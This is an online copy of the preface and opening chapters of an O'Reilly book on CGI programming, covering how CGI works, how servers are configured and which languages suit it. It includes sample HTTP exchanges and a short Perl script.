[1] RFC1341 has been made obsolete by RFC1521; there is (as of this printing) no version of the new specification online. Check the above URL for the new specification as it becomes available.

Previous | Home
Online Documentation | Book Index
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


Preface

Contents:
What's in the Book
What You Are Expected to Know Before Reading
Organization of This Book
Conventions in This Book
Acknowledgments

The Common Gateway Interface (CGI) emerged as the first way to present dynamically generated information on the World Wide Web. CGI allows the computer to generate Web pages instantly at the user's request rather than being written by someone in advance. And at the time of this writing, it remains the only stable and well-understood method for creating such pages. Java presents problems that have not yet been solved. Other products are currently just in the announcement stage.

CGI is fun. You can get a kick out of writing scripts that perform tricks for you, and the users enjoy the spice the scripts add to your Web pages. But CGI has a serious side too: It lets the Internet offer the kind of interactive, user-driven applications that modern computer users have come to expect. CGI opens up an entire class of modern applications to the Web.

Today's computer users expect custom answers to particular questions. Gone are the days when people were satisfied by the computing center staff passing out a single, general report to all users. Instead, each salesperson, manager, and engineer wants to enter specific queries and get up-to-date responses. And if a single computer can do that, why not the Web?

This is the promise of CGI. You can display sales figures for particular products month by month, as requested by your staff, using beautiful pie charts or plots. You can let customers enter keywords in order to find information on your products. You can also offer day-to-day conveniences, like collecting comments from users, offering them searches through your archives, and letting them sign your guestbook.

What's in the Book

So, on to the book. What will you encounter here? A variety of powerful applications that you can use and that will serve as models for your own CGI scripts. Among the complete applications in the book are an animated clock, a search tool, a survey, a quiz program, a game, a gateway to Usenet News, and an appointment calendar based on a clickable imagemap.

If you want to set up your own database and can't afford a commercial product like Oracle, you can use the Sprite extension to Perl that I wrote. Sprite offers a subset of SQL commands with a flat file as the database. I also offer a debugging program called CGI Lint, and a program that lets you write and parse extensions to HTML. I wrote the latter program to support my quiz application, but you can adapt it to other purposes without much trouble. Appendix E, Applications, Modules, Utilities, and Documentation, lists where you can get Sprite and CGI Lint.

But the most important tool I hope to give you is not any particular program, but a thorough understanding of CGI's potential and how to invoke it. The ideas in these programs should become yours for any purpose you want, no matter what operating system or language you use. The old adage about "teaching someone how to fish" may no longer be politically correct, in a world of dangerously depleted fish stocks, but the metaphor describes what I want to do. The techniques I show in this book are fundamental CGI practices: passing information between client (browser) and server, interacting with databases through SQL, generating graphics, writing gateways to existing programs, and storing information while handling multiple forms.

Home | Next
Book Index | What You Are Expected to Know Before Reading
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] What You Are Expected to Know Before Reading

CGI Programming on the World Wide Web

Previous Preface Next

What You Are Expected to Know Before Reading

People at many different levels of computer expertise come to CGI to solve their problems. CGI involves programming, so I expect you to be comfortable thinking like a programmer. I don't expect you to know any particular language, but you must promise that when I show you a loop, you won't be thrown for a loop. I want this book to be chock full of unique CGI techniques that you won't find elsewhere, and therefore I don't want to take up space telling you things that you can find in many other books.

The language of choice for CGI programming is Perl, at least on UNIX systems. I also talk a little about several other languages, notably Tcl. But most examples are in Perl. Still, I don't expect to force you into being a Perl programmer. I try to describe everything I do carefully in plain English, so you can implement the same techniques in the language of your choice. Remember, the main thing to learn is the concept; the way you implement it is up to you.

If you do come to the same conclusion that thousands of CGI programmers have reached-that Perl is the easiest language in which to do the text and array manipulation that characterizes CGI tasks-then you can use my examples as a basis for your own Perl programs, and supplement the book with either the extensive manual pages or the books on Perl from O'Reilly & Associates: Learning Perl by Randal Schwartz as a beginning tutorial and Programming Perl by Larry Wall and Randal Schwartz for advanced techniques. Perl is available on many non-UNIX systems, by the way.

I should admit up front that there's a UNIX bias in this book, because UNIX is the most popular system for Web servers. Some of the things I do all the time on UNIX-such as pipe output to another program-have to be done differently on other systems. And similarly, some of the security concerns that go along with executing UNIX commands won't exist on other systems. But I repeat: The basic CGI tasks are the same in any language, on any system. They spring from the division of labor between client and server, and the protocols they use to communicate.

Previous | Home | Next
What's in the Book | Book Index | Organization of This Book
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] Organization of This Book

CGI Programming on the World Wide Web

Previous Preface Next

Organization of This Book

CGI concepts are not very difficult, but you have to firmly understand a few aspects of how the client and server work before you start programming. So I offer a quick introduction in Chapter 1, The Common Gateway Interface (CGI), followed by a discussion of basic protocols in Chapters Chapter 2, Input to the Common Gateway Interface and Chapter 3, Output from the Common Gateway Interface. After that, it's off on a whirlwind tour of CGI techniques, with complete working examples.

Chapter 1, The Common Gateway Interface (CGI), explains how CGI works and compares the different languages you can use to write scripts.

Chapter 2, Input to the Common Gateway Interface, describes the input from Web client to server, which you need to capture and parse. Query strings and input streams are discussed here.

Chapter 3, Output from the Common Gateway Interface, describes the output that a Web server sends to a client. Everything a CGI programmer needs to know about the HTTP protocol is here, including error values and HTTP headers.

Chapter 4, Forms and CGI, introduces you to HTML forms and to some simple form-based CGI applications.

Chapter 5, Server Side Includes, covers some useful, quick services that the server can handle for you, such as inserting the current date into your document.

Chapter 6, Hypermedia Documents, shows a variety of ways to incorporate graphics and animation into CGI output. Among the languages and extensions illustrated are PostScript, gnuplot, the gd extension to Perl, and the pgperl plotting library.

Chapter 7, Advanced Form Applications, shows more complicated examples using the forms interface to CGI. I show a generalized interface that you can use to let your colleagues develop their own forms (the quiz application I mentioned earlier).

Chapter 8, Multiple Form Interaction, shows several approaches to passing information between multiple CGI programs. I show how to use hidden fields, Netscape's persistent cookies, and CGI side includes to "maintain state."

Chapter 9, Gateways, Databases, and Search/Index Utilities, shows you how to hook up with existing programs to extend the power of your own CGI script. I introduce several ways to use SQL in a CGI program, including interfaces to Oracle, Sybase, and my own Sprite library.

Chapter 10, Gateways to Internet Information Servers, extends the ideas in Chapters 7 through 9 to communication over the Internet. The main example in this chapter is a cookie server that can maintain state information for multiple CGI programs.

Chapter 11, Advanced and Creative CGI Applications, includes several advanced examples, particularly a calendar program that shows you how to generate an imagemap and interpret clicks on the fly.

Chapter 12, Debugging and Testing CGI Applications, lists common errors and shows you how to use my CGI Lint tool.

Appendix A, Perl CGI Programming FAQ, is a Frequently Asked Questions list for Perl CGI.

Appendix B, Summary of Regular Expressions, lists syntax for regular expressions in Perl.

Appendix C, CGI Modules for Perl 5, introduces a variety of CGI modules for Perl 5 and shows some examples of their use.

Appendix D, CGI Lite, introduces the CGI Lite library of Perl 5.

Appendix E, Applications, Modules, Utilities, and Documentation, lists URLs and print resources for CGI documentation and software.

Previous | Home | Next
What You Are Expected to Know Before Reading | Book Index | Conventions in This Book
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] Conventions in This Book

CGI Programming on the World Wide Web

Previous Preface Next

Conventions in This Book

Constant Willison is used for HTTP headers, status codes, MIME content types, directives in configuration files, and computer output in text

Italic is used for filenames, pathnames, newsgroup names, Internet addresses (URLs), email addresses, variable names (except in examples), terms being introduced, commands, options/switches, program names, subroutine names, functions, arrays, operators, methods, and hostnames

ALL CAPS is used for environment variables, HTML attributes, and HTML tags (within angle brackets <>)

Previous | Home | Next
Organization of This Book | Book Index | Acknowledgments
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] Acknowledgments

CGI Programming on the World Wide Web

Previous Preface Next

Acknowledgments

I remember early last year when there was so much demand for a CGI book, and yet there was not even one book to help all the eager users put up counters or guestbooks. My boss at that time, Dyung Le, suggested that we write a book on CGI. Of course, we laughed it off several minutes later.

But, the idea never left either one of us. Several days later, we started writing up a contract, and the rest is history-thanks to Adrian Nye, an editor at O'Reilly, who helped us put the contract together. It was a dream come true: writing a technical book for O'Reilly & Associates.

First and foremost, I'd like to thank Mr. Le for not only suggesting the idea for the book, but giving me an opportunity to develop software straight out of high school. In addition, I'd like to thank Rita Horsey, my other boss, who also taught me quite a bit, and provided me with an Internet connection in the early days of the book.

Of course, I'd also like to thank my family for not only putting up with my bizarre work hours during the entire writing period, but also coming to my assistance whenever I needed it. There's no way I could have finished this book without their support.

Thanks to all the reviewers and everyone who provided suggestions: Jeffrey Friedl (the king of regular expressions), Andreas Koenig (the father of MakeMaker), Marc Hedlund (the originator of the CGI FAQ), Tom Christiansen (the UNIX wizard), Jon Backstrom, Joseph Radin, Paul DuBois, and from ORA, Norman Walsh, Paula Ferguson, Ellie Cutler, Tanya Herlick, Frank Willison, Andy Oram, Linda Mui (more on these guys in a minute), and Tim O'Reilly (the godfather of the Nutshell).

I had the privilege of working with two really excellent teachers, Andy and Linda, whom I also consider my friends. They've guided me through the entire process, and their editorial criticisms were always right on. So I'd like to thank them for everything.

Unfortunately, Andy has been through some very tough and trying times in the last several months after an auto accident. No doubt, he'll be back to doing what he does best in no time! Get well soon, Andy. I also can't believe the amount of time Linda has devoted to the book, despite going through the trials and tribulations of pregnancy. You guys are great!

Of course, a great big thanks go out to the production staff at ORA, especially Jane Ellin, who has done a great job managing the production responsibilities, with help from Mike Sierra, Kismet McDonough, Mary Ann Faughnan, Sheryl Avruch, Sue Willing, Hanna Dyer, and Clairemarie Fisher O'Leary. Thanks to Chris Reilley for all the great figures, Edie Freedman for designing the cover (which I wasn't happy with originally, but have come to love!), Seth Maislin for the index, and Nancy Priest for the internal design.

And last, but not least, a thanks to all my friends here and to my family and relatives in India, especially my grandparents.

Hope you find the book useful!

Previous | Home | Next
Conventions in This Book | Book Index | The Common Gateway Interface (CGI)
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] The Common Gateway Interface (CGI)

CGI Programming on the World Wide Web

Previous Chapter 1 Next

1. The Common Gateway Interface (CGI)

Contents:
What Is CGI?
CGI Applications
Some Working CGI Applications
Internal Workings of CGI
Configuring the Server
Programming in CGI
CGI Considerations
Overview of the Book

1.1 What Is CGI?

As you traverse the vast frontier of the World Wide Web, you will come across documents that make you wonder, "How did they do this?" These documents could consist of, among other things, forms that ask for feedback or registration information, imagemaps that allow you to click on various parts of the image, counters that display the number of users that accessed the document, and utilities that allow you to search databases for particular information. In most cases, you'll find that these effects were achieved using the Common Gateway Interface, commonly known as CGI.

One of the Internet's worst-kept secrets is that CGI is astoundingly simple. That is, it's trivial in design, and anyone with an iota of programming experience can write rudimentary scripts that work. It's only when your needs are more demanding that you have to master the more complex workings of the Web. In a way, CGI is easy the same way cooking is easy: anyone can toast a muffin or poach an egg. It's only when you want a Hollandaise sauce that things start to get complicated.

CGI is the part of the Web server that can communicate with other programs running on the server. With CGI, the Web server can call up a program, while passing user-specific data to the program (such as what host the user is connecting from, or input the user has supplied using HTML form syntax). The program then processes that data and the server passes the program's response back to the Web browser.

CGI isn't magic; it's just programming with some special types of input and a few strict rules on program output. Everything in between is just programming. Of course, there are special techniques that are particular to CGI, and that's what this book is mostly about. But underlying it all is the simple model shown in Figure 1.1.

Figure 1.1: Simple diagram of CGI

[Graphic: Figure 1-1]

Previous | Home | Next
Acknowledgments | Book Index | CGI Applications
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.2 CGI Applications

CGI Programming on the World Wide Web

Previous Chapter 1
The Common Gateway Interface (CGI) 		Next

1.2 CGI Applications

CGI turns the Web from a simple collection of static hypermedia documents into a whole new interactive medium, in which users can ask questions and run applications. Let's take a look at some of the possible applications that can be designed using CGI.

Forms

One of the most prominent uses of CGI is in processing forms. Forms are a subset of HTML that allow the user to supply information. The forms interface makes Web browsing an interactive process for the user and the provider. Figure 1.2 shows a simple form.

Figure 1.2: Simple form illustrating different widgets

[Graphic: Figure 1-2]

As can be seen from the figure, a number of graphical widgets are available for form creation, such as radio buttons, text fields, checkboxes, and selection lists. When the form is completed by the user, the Submit Order! button is used to send the information to the server, which executes the program associated with the particular form to "decode" the data.

Generally, forms are used for two main purposes. At their simplest, forms can be used to collect information from the user. But they can also be used in a more complex manner to provide back-and-forth interaction. For example, the user can be presented with a form listing the various documents available on the server, as well as an option to search for particular information within these documents. A CGI program can process this information and return document(s) that match the user's selection criteria.

Chapter 4, Forms and CGI, discusses forms in detail, and Chapter 7, Advanced Form Applications, shows examples of incorporating forms into several robust applications.

Gateways

Web gateways are programs or scripts used to access information that is not directly readable by the client. For example, say you have an Oracle database that contains baseball statistics for all the players on your company team and you would like to provide this information on the Web. How would you do it? You certainly cannot point your client to the database file (i.e., open the URL associated with the file) and expect to see any meaningful data.

CGI provides a solution to the problem in the form of a gateway. You can use a language such as oraperl (see Chapter 9, Gateways, Databases, and Search/Index Utilities, for more information) or a DBI extension to Perl to form SQL queries to read the information contained within the database. Once you have the information, you can format and send it to the client. In this case, the CGI program serves as a gateway to the Oracle database, as shown in Figure 1.3.

Figure 1.3: A gateway to a database

[Graphic: Figure 1-3]

Similarly, you can write gateway programs to any other Internet information service, including Archie, WAIS, and NNTP (Usenet News). Chapter 10, Gateways to Internet Information Servers, shows examples of interacting with other Internet services. In addition, you can amplify the power of gateways by using the forms interface to request a query or search string from the user to retrieve and display dynamic, or virtual, information. We will discuss these special documents next.

Virtual Documents

Virtual, or dynamic, document creation is at the heart of CGI. Virtual documents are created on the fly in response to a user's information request. You can create virtual HTML, plain text, image, and even audio documents. A simple example of a virtual document could be something as trivial as this:

Welcome to Shishir's WWW Server!
You are visiting from diamond.com. The load average on this machine is 1.25.
Happy navigating!

In this example, there are two pieces of dynamic information: the alphanumeric address (IP name) of the remote user and the load average on the serving machine. This is a very simple example, indeed!

On the other hand, very complex virtual documents can be created by writing programs that use a combination of graphics libraries, gateways, and forms. As a more sophisticated example, say you are the manager of an art gallery that specializes in selling replicas of ancient Renaissance paintings and you are interested in presenting images of these masterpieces on the Web. You start out by creating a form that asks for user information for the purpose of promotional mailings, presents a search field for the user to enter the name of a painting, as well as a selection list containing popular paintings. Once the user submits the form to the server, a program can email the user information to a certain address, or store it in a file. And depending on the user's selection, either a message stating that the painting does not exist or an image of the painting can be displayed along with some historical information located elsewhere on the Internet.

Along with the picture and history, another form with several image processing options to modify the brightness, contrast, and/or size of the picture can be displayed. You can write another CGI program to modify the image properties on the fly using certain graphics libraries, such as gd, sending the resultant picture to the client.

This is an example of a more complex CGI program using many aspects of CGI programming. Several such examples will be presented in this book.

Previous | Home | Next
What Is CGI? | Book Index | Some Working CGI Applications
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.3 Some Working CGI Applications

CGI Programming on the World Wide Web

Previous Chapter 1
The Common Gateway Interface (CGI) 		Next

1.3 Some Working CGI Applications

What better way to learn about CGI than to see actual programs in action? Here are the locations of some of the more impressive CGI programs on the Web:

  • Lycos World Wide Web Search

    Located at http://www.lycos.com, this server allows the user to search the Web for specific documents. Lycos returns a dynamic hypertext document containing the documents that match the user's search criteria.

  • Coloring Book

    An entertaining application that displays an image for users to color. It can be accessed at http://www.ravenna.com/coloring.

  • ArchiePlex Gateway

    A gateway to the Archie search server. Allows the user to search for a specific string and returns a virtual hypertext document. This useful gateway is located at http://pubweb.nexor.co.uk/public/archie/archieplex/archieplex.html. A simple Archie gateway is presented in Chapter 10, Gateways to Internet Information Servers.

  • Guestbook with World Map

    A guestbook is a forms-based application that allows users to leave messages for everyone to see. Though there are numerous guestbooks on the Web, this is one of the best. You can access it at http://www.cosy.sbg.ac.at/rec/guestbook.

  • Japanese <-> English Dictionary

    A sophisticated CGI program that queries the user for an English word, and returns a virtual document with graphic images of an equivalent Japanese word, or vice versa. It can be accessed at http://www.wg.omron.co.jp/cgi-bin/je?SASE=jfiedl.html or at http://enterprise.ic.gc.ca/cgi-bin/j-e.

Although most of these documents are curiosities, they illustrate the powerful aspects of CGI. The interface allows for the creation of highly effective virtual documents using forms and gateways.

Previous | Home | Next
CGI Applications | Book Index | Internal Workings of CGI
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.4 Internal Workings of CGI

CGI Programming on the World Wide Web

Previous Chapter 1
The Common Gateway Interface (CGI) 		Next

1.4 Internal Workings of CGI

So how does the whole interface work? Most servers expect CGI programs and scripts to reside in a special directory, usually called cgi-bin, and/or to have a certain file extension. (These configuration parameters are discussed in the Configuring the Server section in this chapter.) When a user opens a URL associated with a CGI program, the client sends a request to the server asking for the file.

For the most part, the request for a CGI program looks the same as it does for all Web documents. The difference is that when a server recognizes that the address being requested is a CGI program, the server does not return the file contents verbatim. Instead, the server tries to execute the program. Here is what a sample client request might look like:

GET /cgi-bin/welcome.pl HTTP/1.0
Accept: www/source
Accept: text/html
Accept: image/gif
User-Agent: Lynx/2.4 libwww/2.14
From: shishir@bu.edu

This GET request identifies the file to retrieve as /cgi-bin/welcome.pl. Since the server is configured to recognize all files inf the cgi-bin directory tree as CGI programs, it understands that it should execute the program instead of relaying it directly to the browser. The string HTTP/1.0 identifies the communication protocol to use.

The client request also passes the data formats it can accept (www/source, text/html, and image/gif), identifies itself as a Lynx client, and sends user information. All this information is made available to the CGI program, along with additional information from the server.

The way that CGI programs get their input depends on the server and on the native operating system. On a UNIX system, CGI programs get their input from standard input (STDIN) and from UNIX environment variables. These variables store such information as the input search string (in the case of a form), the format of the input, the length of the input (in bytes), the remote host and user passing the input, and other client information. They also store the server name, the communication protocol, and the name of the software running the server.

Once the CGI program starts running, it can either create and output a new document, or provide the URL to an existing one. On UNIX, programs send their output to standard output (STDOUT) as a data stream. The data stream consists of two parts. The first part is either a full or partial HTTP header that (at minimum) describes what format the returned data is in (e.g., HTML, plain text, GIF, etc.). A blank line signifies the end of the header section. The second part is the body, which contains the data conforming to the format type reflected in the header. The body is not modified or interpreted by the server in any way.

A CGI program can choose to send the newly created data directly to the client or to send it indirectly through the server. If the output consists of a complete HTTP header, the data is sent directly to the client without server modification. (It's actually a little more complicated than this, as we will discuss in Chapter 3, Output from the Common Gateway Interface.) Or, as is usually the case, the output is sent to the server as a data stream. The server is then responsible for adding the complete header information and using the HTTP protocol to transfer the data to the client.

Here is the sample output of a program generating an HTML virtual document, with the complete HTTP header:

HTTP/1.0 200 OK
Date: Thursday, 22-February-96 08:28:00 GMT
Server: NCSA/1.4.2
MIME-version: 1.0
Content-type: text/html
Content-length: 2000
<HTML>
<HEAD><TITLE>Welcome to Shishir's WWW Server!</TITLE></HEAD>
<BODY>
<H1>Welcome!</H1>
.
.
</BODY>
</HTML>

The header contains the communication protocol, the date and time of the response, the server name and version, and the revision of the MIME protocol.[1] Most importantly, it also consists of the MIME content type and the number of characters (equivalent to the number of bytes) of the enclosed data, as well as the data itself. Now, the output with the partial HTTP header:

[1] What is MIME and what does it stand for? MIME (Multipurpose Internet Mail Extensions) is a specification that was originally developed for sending multiple types of data through electronic mail. MIME types are used to identify types of data sent as content over the Web.

Content-type: text/html
<HTML>
<HEAD><TITLE>Welcome to Shishir's WWW Server!</TITLE></HEAD>
<BODY>
<H1>Welcome!</H1>
.
.
</BODY>
</HTML>

In this instance, the only header line that is output is the Content-type header, which describes the MIME format of the output. Since the output is in HTML format, text/html is the content type that is declared.

Most CGI programmers prefer to supply only a partial header. It is much simpler to output the format and the data than to formulate the complete header information, which can be left to the server. However, there are times when you need to send the information directly to the client (by outputting a complete HTTP header), as you will see in Chapter 3, Output from the Common Gateway Interface.

Previous | Home | Next
Some Working CGI Applications | Book Index | Configuring the Server
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.5 Configuring the Server

CGI Programming on the World Wide Web

Previous Chapter 1
The Common Gateway Interface (CGI) 		Next

1.5 Configuring the Server

Before you can run CGI programs on your server, certain parameters in the server configuration files must be modified. If you are using either the NCSA or CERN HTTP server, you need to first set the ServerRoot directive in the httpd.conf file to point to the directory where the server software is located:

ServerRoot          /usr/local/etc/httpd

Running CGI Scripts

On the NCSA server, the ScriptAlias directive in the server resource map file (srm.conf) indicates the directory where the CGI scripts are placed.

ScriptAlias          /cgi-bin/        /usr/local/etc/httpd/cgi-bin/

For example, if a user accesses the URL:

http://your_host.com/cgi-bin/welcome

the local program:

/usr/local/etc/httpd/cgi-bin/welcome

will be executed by the server. You can have multiple directories to hold CGI scripts:

ScriptAlias          /cgi-bin/        /usr/local/etc/httpd/cgi-bin/
ScriptAlias          /my-cgi-bin/     /usr/local/etc/httpd/my-cgi-bin/

You might wonder why all CGI programs must be placed in distinct directories. The most important reason for this is system security. By having all the programs in one place, a server administrator can control and monitor all the programs being run on the system. However, there are directives that allow programs to be run outside of these directories, based on the file extension. The following directives, when placed in the srm.conf configuration file, allow the server to execute files containing .pl, .sh, or .cgi extensions.

  AddType       application/x-httpd-cgi          .pl   .sh   .cgi

However, this could be very dangerous! By globally enabling all files ending in certain extensions, there is a risk that novice programmers might write programs that violate system security (e.g., printing the contents of important system files to standard output).

On the CERN server, setting up the CGI directory is done in the httpd.conf file, using the following syntax:

Exec            /cgi-bin/*                /usr/local/etc/httpd/cgi-bin

Previous | Home | Next
Internal Workings of CGI | Book Index | Programming in CGI
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.6 Programming in CGI

CGI Programming on the World Wide Web

Previous Chapter 1
The Common Gateway Interface (CGI) 		Next

1.6 Programming in CGI

You might wonder, "Now that I know how CGI works, what programming language can I use?" The answer to that question is very simple: You can use whatever language you want, although certain languages are more suited for CGI programming than others. Before choosing a language, you must consider the following features:

  • Ease of text manipulation

  • Ability to interface with other software libraries and utilities

  • Ability to access environment variables (in UNIX)

Let's look at each of these features in more detail. Most CGI applications involve manipulating text (as you will see throughout this book) some way or another, so inherent pattern matching is very important. For example, form information is usually "decoded" by splitting the string on certain delimiters.

The ability of a language to interface with other software, such as databases, is also very important. This greatly enhances the power of the Web by allowing you to write gateways to other information sources, such as database engines or graphic manipulation libraries.

Finally, the last attribute that must be taken into account is the ease with which the language can access environmental variables. These variables constitute the input to the CGI program, and thus are very important.

Some of the more popular languages for CGI programming include AppleScript, C/C++, C Shell, Perl, Tcl, and Visual Basic. Here is a quick review of the advantages and, in some cases, disadvantages of each one.

AppleScript (Macintosh Only)

Since the advent of System 7.5, AppleScript is an integral part of the Macintosh operating system (OS). Though AppleScript lacks inherent pattern-matching operators, certain extensions have been written to make it easy to handle various types of data. AppleScript also has the power to interface with other Macintosh applications through AppleEvents. For example, a Mac CGI programmer can write a program that presents a form to the user, decode the contents of the form, and query and search a Microsoft FoxPro database directly through AppleScript.

C/C++ (UNIX, Windows, Macintosh)

C and C++ are very popular with programmers, and some use them to do CGI programming. These languages are not recommended for the novice programmer; C and C++ impose strict rules for variable and memory declarations, and type checking. In addition, these languages lack database extensions and inherent pattern-matching abilities, although modules and functions can be written to achieve these functions.

However, C and C++ have a major advantage in that you can compile your CGI application to create a binary executable, which takes up fewer system resources than using interpreters (like Perl or Tcl) to run CGI scripts.

C Shell (UNIX Only)

C Shell lacks pattern-matching operators, and so other UNIX utilities, such as sed or awk, must be used whenever you want to manipulate string information. However, there is a software tool, called uncgi and written in C, that decodes form data and stores the information into shell environment variables, which can be accessed rather easily. Obviously, communicating with a database directly is impossible, unless it is done through a foreign application. Finally, the C Shell has some serious bugs and limitations that make using it a dangerous proposition for the beginner.

Perl (UNIX, Windows, Macintosh)

Perl is by far the most widely used language for CGI programming! It contains many powerful features, and is very easy for the novice programmer to learn. The advantages of Perl include:

  • It is highly portable and readily available.

  • It contains extremely powerful string manipulation operators, as well as functions to deal with binary data.

  • It contains very simple and concise constructs.

  • It makes calling shell commands very easy, and provides some useful equivalents of certain UNIX system functions.

  • There are numerous extensions built on top of Perl for specialized functions; for example, there is oraperl(or the DBI Extensions), which contains functions for interfacing with the Oracle database.

Because of these overwhelming advantages, Perl is the language used for most of the examples throughout this book.

To whet your appetite slightly, here is an example of a CGI Perl program that creates the simple virtual document presented in the Virtual Documents section that appeared earlier in this chapter:

#!/usr/local/bin/perl
print "Content-type: text/plain","\n\n";
print "Welcome to Shishir's WWW Server!", "\n";
$remote_host = $ENV{'REMOTE_HOST'};
print "You are visiting from ", $remote_host, ". ";
$uptime = `/usr/ucb/uptime` ;
($load_average) = ($uptime =~ /average: ([^,]*)/);
print "The load average on this machine is: ", $load_average, ".", "\n";
print "Happy navigating!", "\n";
exit (0);

The first line of the program is very important. It tells the server to run the Perl interpreter located in /usr/local/bin to execute the program.

Simple print statements are used to display information to the standard output. This CGI program outputs a partial HTTP header (the one Content-type header). Since this script generates plain text and not HTML, the content type is text/plain.

Two newlines (\n) are output after the header. This is because HTTP requires a blank line between the header and body. Depending on the platform, you may need to output two carriage-return and newline combinations (\r\n\r\n).

The first print statement after the header is a greeting. The second print statement after the header displays the remote host of the user accessing the server. This information is retrieved from the environmental variable REMOTE_HOST.

As you peruse the next bit of code, you will see what looks like a mess! However, it is a combination of very powerful search operators, and is called a regular expression (or commonly known as regexp)--see the expression below. In this case, the expression is used to search the output from the UNIX command uptime for a numeric value that is located between the string "average:" and the next comma.

[Graphic: Figure from the text]

Finally, the last statement displays a good luck message.

Tcl (UNIX Only)

Tcl is gaining popularity as a CGI programming language. Tcl consists of a shell, tclsh, which can be used to execute your scripts. Like Perl, tclsh also contains simple constructs, but is a bit more difficult to learn and use for the novice programmer. Like Perl, Tcl contains extensions to databases and graphic libraries. It also supports regular expressions, but is quite inefficient in handling these expressions at compile time, especially when compared to Perl.

Visual Basic (Windows Only)

Visual Basic is to Windows what AppleScript is to the Macintosh OS as far as CGI programming is concerned. With Visual Basic, you can communicate with other Windows applications such as databases and spreadsheets. This makes Visual Basic a very powerful tool for developing CGI applications on a PC, and it is very easy to learn. However, Visual Basic lacks powerful string manipulation operators.

Previous | Home | Next
Configuring the Server | Book Index | CGI Considerations
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.7 CGI Considerations

CGI Programming on the World Wide Web

Previous Chapter 1
The Common Gateway Interface (CGI) 		Next

1.7 CGI Considerations

Now that we have decided on a language for CGI programming, let's look at some considerations that need to be taken to create effective virtual documents.

First and most importantly, you need to understand what kind of information is to be presented. If it is plain text or HTML, there is no problem. However, if the data is unreadable by the client, a gateway has to be written to effectively translate that data.

This leads to another important matter: The original (or "unreadable") data has to be organized in such a way that it will be easy for the gateway to read from and write to the data source. Once you have the gateway and you can retrieve data, you can present it in numerous ways. For example, if the data is numerical in nature, you can create virtual graphs and plots using various utility software. On the other hand, if the data consists of graphical objects, you can modify the information using numerous graphic manipulation tools.

In summary, you need to think about what you want to present and how to prevent it long before the actual process of implementing CGI programs. This will ensure the creation of effective virtual documents.

Previous | Home | Next
Programming in CGI | Book Index | Overview of the Book
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.8 Overview of the Book

CGI Programming on the World Wide Web

Previous Chapter 1
The Common Gateway Interface (CGI) 		Next

1.8 Overview of the Book

The main theme throughout this book is the design and creation of virtual hypermedia documents. A few things to note are:

  • All of the examples in the book are in Perl (mostly v4.0, but they should run without problems on v5.0), although some of the common modules are presented in the numerous languages mentioned above.

  • When applicable, configuration details are slanted toward the NCSA server, as it is the most commonly used Web server on the Internet.

  • The phrases "CGI programs" and "CGI scripts" will be used interchangeably throughout the book.

Chapters 2 through 5 cover the client-server interaction, including a look at the environmental variables, working with forms, and server-side includes (SSI).

From there, we discuss CGI programs that return virtual documents using various MIME content types in Chapter 6, Hypermedia Documents. Dynamic graphic image creation is the highlight of this chapter.

Chapters 7 through 10 cover forms and gateways with a vast number of advanced examples. The creation of static and dynamic forms, as well as communication with various databases and Internet information servers, is presented in great detail.

Chapter 11, Advanced and Creative CGI Applications walks through the design and implementation of a number of advanced CGI applications.

Finally, Chapter 12, Debugging and Testing CGI Applications covers techniques for debugging your CGI programs, and lists some common mistakes and methods for finding your programming errors.

The book also includes appendices with a Frequently Asked Questions list for Perl and CGI, a quick reference for regular expressions (since many examples depend heavily on the use of regular expressions in Perl), an overview of CGI::* modules for Perl 5, an overview of the CGI Lite library, and a list of resources and URLs for more information and CGI-related software.

Previous | Home | Next
CGI Considerations | Book Index | Input to the Common Gateway Interface
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] Input to the Common Gateway Interface

CGI Programming on the World Wide Web

Previous Chapter 2 Next

2. Input to the Common Gateway Interface

Contents:
Introduction
Using Environment Variables
Accessing Form Input
Extra Path Information
Other Languages Under UNIX
Other Languages Under Microsoft Windows
Other Languages on Macintosh Servers
Examining Environment Variables

2.1 Introduction

When a CGI program is called, the information that is made available to it can be roughly broken into three groups:

  • Information about the client, server, and user

  • Form data that the user supplied

  • Additional pathname information

Most information about the client, server, or user is placed in CGI environment variables. Form data is either incorporated into an environment variable, or is included in the "body" of the request. And extra path information is placed in environment variables.

See a trend here? Obviously, CGI environment variables are crucial to accessing input to a CGI program. In this chapter, we will first look at a number of simple CGI programs under UNIX that display and manipulate input. We will show some examples that use environment variables to perform some useful functions, followed by examples that show how to process HTML form input. Then we will focus our attention on processing this information on different platforms.

Previous | Home | Next
Overview of the Book | Book Index | Using Environment Variables
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.2 Using Environment Variables

CGI Programming on the World Wide Web

Previous Chapter 2
Input to the Common Gateway Interface 		Next

2.2 Using Environment Variables

Much of the most crucial information needed by CGI applications is made available via UNIX environment variables. Programs can access this information as they would any environment variable (e.g., via the %ENV associative array in Perl).

This section concentrates on showing examples of some of the more typical uses of environment variables in CGI programs. First, however, Table 2.1 shows a full list of environment variables available for CGI.

Table 2.1: List of CGI Environment Variables
Environment Variable | Description
